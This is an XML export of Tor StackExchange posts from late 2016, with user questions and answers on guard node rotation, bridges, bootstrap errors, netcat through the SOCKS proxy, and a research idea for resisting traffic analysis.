  <row Id="13321" PostTypeId="1" CreationDate="2016-12-06T20:52:28.587" Score="0" ViewCount="52" Body="&lt;p&gt;For one of my assignments I have to conduct a research paper. I decided to propose a solution vulnerabilities TOR has with traffic analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm suggesting adding in random delays,random hop count and random dummy data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of the impact this will have on the speed of the network, it's more of an ideal world scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is there a way I could implement this and run some tests in order to provide me with some results proving that it's harder to de anonymise someone ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance, any help or advice is greatly appreciated &lt;/p&gt;&#xA;" OwnerUserId="15336" LastActivityDate="2016-12-07T10:13:04.407" Title="Alterations to Tor and finding a way to run tests and simulations" Tags="|deanonymization|traffic-analysis|" AnswerCount="1" CommentCount="0" ClosedDate="2016-12-08T00:53:21.040" ContentLicense="CC BY-SA 3.0" />
  <row Id="13323" PostTypeId="2" ParentId="13321" CreationDate="2016-12-07T10:13:04.407" Score="0" Body="&lt;p&gt;Yes, you can: actually, Tor code is &lt;em&gt;everything&lt;/em&gt; the network relies and runs on. You should raise your own Directory servers and replace the standart ones in the source code &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/fallback_dirs.inc&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-07T10:13:04.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13324" PostTypeId="2" ParentId="13053" CreationDate="2016-12-07T10:17:29.123" Score="0" Body="&lt;p&gt;You need to &lt;strong&gt;make sure&lt;/strong&gt; you will have 4 different external IP's not from single C-class network, ideally. And - use &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ORPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;ORPort IP:Port&lt;/a&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#OutboundBindAddress&quot; rel=&quot;nofollow noreferrer&quot;&gt;OutboundBindAddress IP&lt;/a&gt; in your corresponding configs. And that's it, by the way. &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-07T10:17:29.123" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13326" PostTypeId="1" CreationDate="2016-12-07T16:04:19.377" Score="1" ViewCount="82" Body="&lt;p&gt;On this website (&lt;a href=&quot;https://www.change.org/p/fran%C3%A7ois-hollande-monsieur-le-pr%C3%A9sident-la-france-doit-voter-%C3%A0-l-onu-l-interdiction-des-armes-nucl%C3%A9aires?tk=LANthiTZ4YhnYia83IpRD3C6fnMkdd6hLRkrojJFCpk&amp;amp;utm_medium=email&amp;amp;utm_source=signature_receipt&amp;amp;utm_campaign=new_signature&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.change.org/p/fran%C3%A7ois-hollande-monsieur-le-pr%C3%A9sident-la-france-doit-voter-%C3%A0-l-onu-l-interdiction-des-armes-nucl%C3%A9aires?tk=LANthiTZ4YhnYia83IpRD3C6fnMkdd6hLRkrojJFCpk&amp;amp;utm_medium=email&amp;amp;utm_source=signature_receipt&amp;amp;utm_campaign=new_signature&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a button titled &quot;signer la pétition&quot; (sign the petition) is not displayed with TOR.&#xA;How can I manage to get this button displayed and sign the petition with Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The button matches with other browsers (IE for example)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Denis&lt;/p&gt;&#xA;" OwnerUserId="15344" LastActivityDate="2016-12-09T11:31:40.803" Title="How to sign a petition on a website with Tor (undisplayed button)" Tags="|website|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13327" PostTypeId="2" ParentId="13326" CreationDate="2016-12-07T18:39:51.417" Score="-1" Body="&lt;p&gt;If it's not displayed - then the website is detecting that you're using Tor exit and refusing you to do the things you're trying to do. It &lt;strong&gt;is&lt;/strong&gt; ridiculous - but even more odd things are happening so far, so it is not possible to do so: even if you will post a form successfully, it will be filtered out by the website - if it can detect Tor exit and refuses you in using it's functionality, it is able to prevent the form processing as well.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-07T18:39:51.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13328" PostTypeId="1" CreationDate="2016-12-07T19:25:15.833" Score="3" ViewCount="1722" Body="&lt;p&gt;I've had the same guard node for almost 4 weeks now. I know it's natural to have the same guard for a prolonged period, but a month? I use tbb every day, tbb version 6.0.7 on ubuntu 16.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would anyone say that's normal?&lt;/p&gt;&#xA;" OwnerUserId="15354" LastActivityDate="2016-12-07T22:11:22.567" Title="Guard Nodes: how long is too long?" Tags="|tor-browser-bundle|configuration|ubuntu|guard-node|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13329" PostTypeId="2" ParentId="13328" CreationDate="2016-12-07T20:38:51.357" Score="0" Body="&lt;p&gt;Entry Guards are &lt;strong&gt;best&lt;/strong&gt; left unaltered unless it's a good reason to do that. Depending on your config - some deviations may occur - but &lt;em&gt;don't ever try to mess with Tor standart behaviour unless there's a reason&lt;/em&gt;. If your guard is not banned by your ISP for such a long term of time - it's pretty OK! &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-07T20:38:51.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13330" PostTypeId="2" ParentId="13328" CreationDate="2016-12-07T22:11:22.567" Score="1" Body="&lt;p&gt;Yes, that is normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The guard rotation periods were increased, and the number of guards chosen was reduced. The idea being that a passive adversary might want to run some percentage of Tor relays (guards and exits). Every time you pick a new guard, you roll some dice and with some likelihood either pick one of the hypothetical evil guards or a benign guard. The more often that you roll this dice, the more likely that it is you will pick one of the hypothetically evil guards. For someone trying to perform surveillance the likelihood that they would be able to target their intended subject is reduced, since fewer guards are picked less often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The details for this change were outlined in &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/236-single-guard-node.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proposal 236 (&lt;em&gt;&quot;The move to a single guard node&quot;&lt;/em&gt;)&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0. Introduction&#xA;&#xA;    It has been suggested that reducing the number of guard nodes of&#xA;    each user and increasing the guard node rotation period will make&#xA;    Tor more resistant against certain attacks [0].&#xA;&#xA;    For example, an attacker who sets up guard nodes and hopes for a&#xA;    client to eventually choose them as their guard will have much less&#xA;    probability of succeeding in the long term.&#xA;&#xA;    Currently, every client picks 3 guard nodes and keeps them for 2 to&#xA;    3 months (since 0.2.4.12-alpha) before rotating them. In this&#xA;    document, we propose the move to a single guard per client and an&#xA;    increase of the rotation period to 9 to 10 months.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That said, as you'll note from the proposal the previous guard lifetime was in fact 2-3 months, two or three times longer than you've had your current guard, so it's certainly nothing to worry about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to the titular question &quot;how long is too long?&quot; this is actually debated, a relevant reading if you're interested in the question would be the references at the end of prop-236 linked above and the Tor Project ticket for implementing prop-236 (and it's various child tickets): &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/11480&quot; rel=&quot;nofollow noreferrer&quot;&gt;#11480&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-07T22:11:22.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13332" PostTypeId="2" ParentId="13326" CreationDate="2016-12-07T23:07:20.603" Score="1" Body="&lt;p&gt;The site seems broken, accidentally. The way it's using Cloudflare breaks it for any IP that has some high &quot;risk&quot; score in their listing (I.E. any that would be prompted with a captcha before proceeding).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use the site you are first asked to fill in a Cloudflare captcha. Once it's successfully filled in Cloudflare assigns you some token in a cookie for the site that you can send with later requests to indicate that you've been previously validated by Cloudflare for access to the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this site serves at least some of it's content from a second sub-domain &lt;code&gt;assets.change.org&lt;/code&gt;. It seem that the method of requesting causes any cookies to be stripped, as such when it's firing off the request our previously assigned Cloudflare cookie isn't present and this means that Cloudflare prompts us to fill in a new captcha instead of serving the content, this in turn means that some of the javascript that the site is trying to load isn't loaded, breaking functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wrong, my own testing suggests this is &lt;em&gt;not&lt;/em&gt; a firefox bug. Testing on a my own server, &lt;code&gt;&amp;lt;script async...&amp;gt;&lt;/code&gt; tags are credentialed in cross-subdomain requests. This is a bug on their site, and likely not an intentional attempt to stop Tor users.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-12-09T11:31:40.803" LastActivityDate="2016-12-09T11:31:40.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13335" PostTypeId="1" CreationDate="2016-12-08T08:11:18.040" Score="0" ViewCount="3619" Body="&lt;p&gt;I can't seem to get a response through the proxy when I pipe something to nc through it (note there are two different commands issued below):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ echo &quot;GET / HTTP/1.1&#xA; &amp;gt; Host: torproject.org&#xA; &amp;gt;&#xA; &amp;gt; &quot; | sudo nc -n -X 5 -x 127.0.0.1:9050 38.229.72.16 80 -v -D&#xA; Connection to 38.229.72.16 80 port [tcp/*] succeeded!&#xA; $ echo &quot;GET / HTTP/1.1&#xA; Host: torproject.org&#xA;&#xA; &quot; | sudo nc -n 38.229.72.16 80 -v -D&#xA; Connection to 38.229.72.16 80 port [tcp/*] succeeded!&#xA; HTTP/1.1 302 Found&#xA; Date: XXXXXXXXXXXXXXXXXXXXXXX&#xA; Server: Apache&#xA; X-Content-Type-Options: nosniff&#xA; X-Frame-Options: sameorigin&#xA; X-Xss-Protection: 1&#xA; Location: https://www.torproject.org/&#xA; Content-Length: 275&#xA; Content-Type: text/html; charset=iso-8859-1&#xA;&#xA; &amp;lt;!DOCTYPE HTML PUBLIC &quot;-//IETF//DTD HTML 2.0//EN&quot;&amp;gt;&#xA; &amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&#xA; &amp;lt;title&amp;gt;302 Found&amp;lt;/title&amp;gt;&#xA; &amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&#xA; &amp;lt;h1&amp;gt;Found&amp;lt;/h1&amp;gt;&#xA; &amp;lt;p&amp;gt;The document has moved &amp;lt;a href=&quot;https://www.torproject.org/&quot;&amp;gt;here&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;&#xA; &amp;lt;hr&amp;gt;&#xA; &amp;lt;address&amp;gt;Apache Server at torproject.org Port 80&amp;lt;/address&amp;gt;&#xA; &amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ echo &quot;hey&quot; | torsocks nc ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I send interactively, I DO receive a response. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ nc -x 127.0.0.1:9050 torproject.org 80&#xA; GET / HTTP/1.1&#xA; Host: torproject.org&#xA;&#xA; HTTP/1.1 302 Found&#xA; Date: XXXXXXXXXXXXXXXXXXXXXXXXX&#xA; Server: Apache&#xA; X-Content-Type-Options: nosniff&#xA; X-Frame-Options: sameorigin&#xA; X-Xss-Protection: 1&#xA; Location: https://www.torproject.org/&#xA; Content-Length: 275&#xA; Content-Type: text/html; charset=iso-8859-1&#xA; [...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this behavior to be expected? Can I invoke / &quot;turn on&quot; output somehow?&lt;/p&gt;&#xA;" OwnerUserId="15363" LastEditorDisplayName="user5" LastEditDate="2016-12-09T05:21:04.907" LastActivityDate="2017-04-08T06:25:25.640" Title="netcat with Tor" Tags="|linux|proxy|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13337" PostTypeId="2" ParentId="13335" CreationDate="2016-12-08T11:31:06.250" Score="1" Body="&lt;p&gt;As described in the commments by &lt;a href=&quot;https://tor.stackexchange.com/users/12737/canonizing-ironize&quot;&gt;canonizing ironize&lt;/a&gt;, the problem is that &lt;code&gt;nc&lt;/code&gt; exits before the response is received:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So the problem is netcat takes the input from stdin, sends it over the network but then stdin closes (when &lt;code&gt;echo&lt;/code&gt; is finished writing into the pipe) so netcat is like &quot;welp, the user is done&quot; and dies, it likely works without Tor because of the reduced latency, it gets the response before it closes. Tor adds extra latency so it closes before the response gets back and thus never prints it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Suggested workaround is adding option &lt;code&gt;-q -1&lt;/code&gt;, meaning &lt;em&gt;&quot;wait for response forever&quot;&lt;/em&gt; to &lt;code&gt;nc&lt;/code&gt;, which worked for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has further insight into this, feel free to contribute.&lt;/p&gt;&#xA;" OwnerUserId="15363" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-12-08T11:37:28.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13338" PostTypeId="1" CreationDate="2016-12-08T11:59:58.907" Score="0" ViewCount="82" Body="&lt;p&gt;Is there a way I can develop an application that sits &quot;within&quot; Tor that I can run blogs and images on.. this is for experts in my industry to share ideas etc. then access from mobile devices etc.&lt;/p&gt;&#xA;" OwnerUserId="15365" LastEditorDisplayName="user5" LastEditDate="2016-12-08T20:58:52.983" LastActivityDate="2016-12-08T20:58:52.983" Title="Developing an app in Tor" Tags="|development|" AnswerCount="1" CommentCount="0" ClosedDate="2016-12-12T21:11:27.700" ContentLicense="CC BY-SA 3.0" />
  <row Id="13339" PostTypeId="2" ParentId="13338" CreationDate="2016-12-08T13:47:33.713" Score="1" Body="&lt;p&gt;Yes, you can: use a hidden service for an active part and try elaborating ZeroNet for statics if you have/would-have alot of it. There's no limitations by Tor itself to achieve exactly what you're talking about&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-08T13:47:33.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13343" PostTypeId="1" CreationDate="2016-12-09T13:30:48.880" Score="1" ViewCount="118" Body="&lt;p&gt;this is the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12/8/2016 18:50:47 PM.500 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;12/8/2016 18:50:57 PM.700 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;12/8/2016 18:50:57 PM.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/8/2016 18:50:57 PM.700 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;12/8/2016 18:50:58 PM.200 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15375" LastEditorUserId="9291" LastEditDate="2016-12-09T13:57:12.183" LastActivityDate="2017-04-08T20:34:56.723" Title="i have been using tor but now i am unable to connect to tor network" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13348" PostTypeId="1" CreationDate="2016-12-10T09:43:39.317" Score="1" ViewCount="1190" Body="&lt;p&gt;I am trying to start Tor Browser 6.0.7 on macOS Sierra 10.12.1.&#xA;Upon attempting to launch I get the following message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;﻿﻿﻿&quot;Tor exited during startup. This might be due to an error in your torrc file, a bug in Tor or another program on your system, or faulty hardware. Until you fix the underlying problem and restart Tor, Tor Browser will not start.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked in the Tor package contents and the Application Support folder and have been unable to locate a torrc file at all. Nor is there TorBrowser-data folders that I have been following other Questions to try to locate. I have also attempted to create this folder with the torrc.sample file with no avail. It seems there are solutions to this with older versions of Tor / mac OS, but in this particular configuration those solutions don't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please Help! There must be others experiencing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="15385" LastActivityDate="2017-03-14T01:01:11.900" Title="Tor exited during startup. 6.0.7" Tags="|configuration|startup|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13349" PostTypeId="1" CreationDate="2016-12-10T15:58:37.010" Score="1" ViewCount="108" Body="&lt;p&gt;I'm looking for source code of Conflux tool, published &lt;a href=&quot;http://cacr.uwaterloo.ca/techreports/2013/cacr2013-16.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's statement: 'We implemented the multipath construction and cell sequencing,&#xA;buffering, and reordering in the Tor source code (version 0.2.3.0-alpha-dev).'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I didn't found version like that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a &lt;a href=&quot;https://tor.stackexchange.com/questions/201/is-it-possible-to-team-multiple-circuits-in-the-current-tor-network?newreg=cf33515883e742f6bed51d7dfa11b49d&quot;&gt;post&lt;/a&gt; discuss about it, but no code attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone know something more about it?&lt;/p&gt;&#xA;" OwnerUserId="15387" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-12-10T15:58:37.010" Title="Looking for Conflux code" Tags="|configuration|relays|circuit|performance|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13351" PostTypeId="1" CreationDate="2016-12-10T20:57:50.923" Score="1" ViewCount="1861" Body="&lt;p&gt;I'm using tor browser version &quot;tor-browser-linux64-6.0.7&quot; in ubuntu14.4. But its speed is awful. In addition while it's downloading a file, it uses a great amount of my Internet traffic compared to the size of the file. Similarly, while opening a website, it consumes much Internet traffic, compared to the traffic needed for that website to be opened without Tor. Since Tor is censored in my country, in answer to question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does your Internet Service Provider (ISP) block or otherwise censor connections to the Tor Network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked Yes option, and it uses obfs4 as the bridge to connect to Tor. Any other settings of my Tor are configured to their defaults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to speed up my Tor? Do I have to make some special configuration to my Tor to overcome this problem? Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="15394" LastActivityDate="2016-12-10T23:59:33.063" Title="My Tor Download Speed is Awful" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13352" PostTypeId="1" CreationDate="2016-12-10T21:53:13.527" Score="0" ViewCount="74" Body="&lt;p&gt;i have been able to connect to this site previously no problems but fot the last weekor two i have been getting&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unable to connect&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firefox can't establish a connection to the server at pwoah7foa6au2pul.onion.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The site could be temporarily unavailable or too busy. Try again in a few moments.&#xA;If you are unable to load any pages, check your computer's network connection.&#xA;If your computer or network is protected by a firewall or proxy, make sure that Tor Browser is permitted to access the Web.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i able to surf tor no problem but serten sights all i get is this!!&#xA;not to sure is it a proxy issue? if so some help pleas&#xA;thanks&#xA;      coeddan&lt;/p&gt;&#xA;" OwnerUserId="15391" LastActivityDate="2016-12-10T23:04:45.533" Title="help canot connect?" Tags="|configuration|" AnswerCount="1" CommentCount="0" ClosedDate="2016-12-13T10:44:23.020" ContentLicense="CC BY-SA 3.0" />
  <row Id="13354" PostTypeId="2" ParentId="13352" CreationDate="2016-12-10T23:04:45.533" Score="0" Body="&lt;p&gt;Since you're able to visit other websites as usual, this seems to be a problem with that particular website, as it's mentioned on the error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;The site could be temporarily unavailable or too busy.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't seem to have anything to do with proxies.&lt;/p&gt;&#xA;" OwnerUserId="15395" LastActivityDate="2016-12-10T23:04:45.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13356" PostTypeId="2" ParentId="13351" CreationDate="2016-12-10T23:59:33.063" Score="1" Body="&lt;p&gt;The default obfs4 bridges are normally heavily overused, they're the easiest to configure because they're built in which is great for accessibility but it means that most users use only a small set of obfs4 servers and so their resources are overstretched and as such the speed is reduced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would (likely) see an improvement if you fetched some bridges from &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BridgeDB&lt;/a&gt;, choosing the option for obfs4 and entered the bridge lines it gives you into Tor Browser under the custom bridges option during the configuration. The lines that BridgeDB provides should just be pasted into the provided text box exactly as BridgeDB presents them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should definitely see better performance from those bridges because there will be less contention of their resources.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-10T23:59:33.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13357" PostTypeId="1" CreationDate="2016-12-11T13:20:03.473" Score="1" ViewCount="76" Body="&lt;p&gt;Should we anticipate Tor to develop/integrate something that will make JavaScript less potentially dangerous, in a way that provides websites with basic JavaScript functionalities while still protecting users' privacy by disabling the unfavored stuff?&lt;/p&gt;&#xA;" OwnerUserId="15395" LastActivityDate="2016-12-11T13:20:03.473" Title="JavaScript sandbox that makes it less dangerous?" Tags="|tor-browser-bundle|javascript|sandbox|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13364" PostTypeId="1" CreationDate="2016-12-12T09:18:48.450" Score="1" ViewCount="63" Body="&lt;pre&gt;&lt;code&gt;12/12/2016 14:38:46 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/12/2016 14:38:50 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/12/2016 14:38:50 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/12/2016 14:38:50 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/12/2016 14:38:50 PM.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;12/12/2016 14:38:55 PM.700 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;12/12/2016 14:38:55 PM.700 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;12/12/2016 14:38:56 PM.000 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 1; recommendation warn; host B9E7141C594AF25699E0079C1F0146F409495296 at 0.0.2.0:2) &#xA;12/12/2016 14:38:56 PM.000 [WARN] 1 connections have failed: &#xA;12/12/2016 14:38:56 PM.000 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12/12/2016 14:38:57 PM.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;12/12/2016 14:38:57 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/12/2016 14:38:57 PM.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15415" LastEditorUserId="12737" LastEditDate="2016-12-12T17:59:47.957" LastActivityDate="2016-12-12T17:59:47.957" Title="Can't connect to Tor due to read server hello" Tags="|tor-browser-bundle|error|" AnswerCount="0" CommentCount="1" ClosedDate="2017-05-09T12:04:13.970" ContentLicense="CC BY-SA 3.0" />
  <row Id="13365" PostTypeId="1" CreationDate="2016-12-12T16:48:22.207" Score="0" ViewCount="307" Body="&lt;p&gt;I tried to find an answer to this question but I found none. I think it would be reasonable to be able to use always three DIFFERENT countries in a circuit if possible. Just as simple as that. And it seems like a fairly easy thing to implement via torrc or somehow... Is it possible now? Or is it a silly idea?&lt;/p&gt;&#xA;" OwnerUserId="15419" LastActivityDate="2017-05-15T17:56:37.333" Title="Can I configure tor always to try to use three DIFFERENT countries?" Tags="|configuration|circuit|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13368" PostTypeId="2" ParentId="12259" CreationDate="2016-12-13T06:50:49.293" Score="2" Body="&lt;p&gt;If you're having trouble saving the changes to the prefs.js file, might be a permissions issue. Did you try updating the pref.js file using terminal: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo nano ~/Library/Application Support/TorBrowser-Data/Browser/*.default/prefs.js&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;user_pref(&quot;extensions.torlauncher.control_port_use_socket&quot;, false);&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and Crtl-O to save, Ctrl-X to exit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(new user so not enough reputation to add as comment to Gbla Kbla's answer so have repeated details here)&lt;/p&gt;&#xA;" OwnerUserId="15429" LastActivityDate="2016-12-13T06:50:49.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13370" PostTypeId="1" CreationDate="2016-12-13T17:18:18.920" Score="2" ViewCount="125" Body="&lt;p&gt;I enabled option allow scripts globally but when I try to log in on some sites although I write correct captcha, they show me that it isn't correct.&#xA;I disabled addon noscript and haven't any issue. Shouldn't allow scripts globally have the same effect as disabling the AddOn, though without changing the base fingerprint?&lt;/p&gt;&#xA;" OwnerUserId="15435" LastActivityDate="2016-12-13T17:18:18.920" Title="Why sites show me always the message &quot;captcha not correct&quot;?" Tags="|tor-browser-bundle|noscript|captcha|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13377" PostTypeId="1" CreationDate="2016-12-14T05:13:52.320" Score="0" ViewCount="363" Body="&lt;p&gt;In the tor manual under socks port it states “The SOCKS protocol is unencrypted and (as we use it) unauthenticated”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the socks protocol used in the loop back interface only or does the Socks protocol cross the WIFI or Ethernet network interface boundaries? If it does then is it protected by the TLS or bridge encryption that is used from your computer to the first hop.  &lt;/p&gt;&#xA;" OwnerUserId="15440" LastActivityDate="2018-03-09T12:48:13.853" Title="Is there any vulnerabilities when using socks with tails?" Tags="|anonymity|security|tails|socks|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13378" PostTypeId="2" ParentId="13377" CreationDate="2016-12-14T07:32:31.863" Score="1" Body="&lt;p&gt;It's only on the local loopback interface, the unencrypted connection is made purely locally. It traverses any local network resources encrypted. Note however that anything you send &lt;em&gt;into&lt;/em&gt; the Tor network unencrypted will &lt;em&gt;leave&lt;/em&gt; the Tor network unencrypted, so you should still be opting for using TLS (https) or some other form of transport layer encryption.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-14T07:32:31.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13384" PostTypeId="1" CreationDate="2016-12-15T01:33:56.477" Score="1" ViewCount="70" Body="&lt;p&gt;I believe we can get some onion address from hidden wiki or other search engine,but in my mind,i want to gain whole set of onion address,for that i can learn more about how many onion address available their,and crawl some information from these hidden service.&lt;/p&gt;&#xA;" OwnerUserId="15456" LastActivityDate="2016-12-15T01:33:56.477" Title="How can i gain whole set of onion address as much as possible?" Tags="|onion-services|onion-routing|hsdir|" AnswerCount="0" CommentCount="0" ClosedDate="2016-12-15T21:27:15.673" ContentLicense="CC BY-SA 3.0" />
  <row Id="13385" PostTypeId="1" CreationDate="2016-12-15T10:44:31.430" Score="1" ViewCount="110" Body="&lt;p&gt;Is it ethical to keep logs of a relay (whether it's an entry, middle or exit)? Or should I not even keep logs to begin with?&lt;/p&gt;&#xA;" OwnerUserId="15460" LastActivityDate="2016-12-15T13:08:27.993" Title="Is it ethical to keep logs of a relay (whether it's an entry, middle or exit)?" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
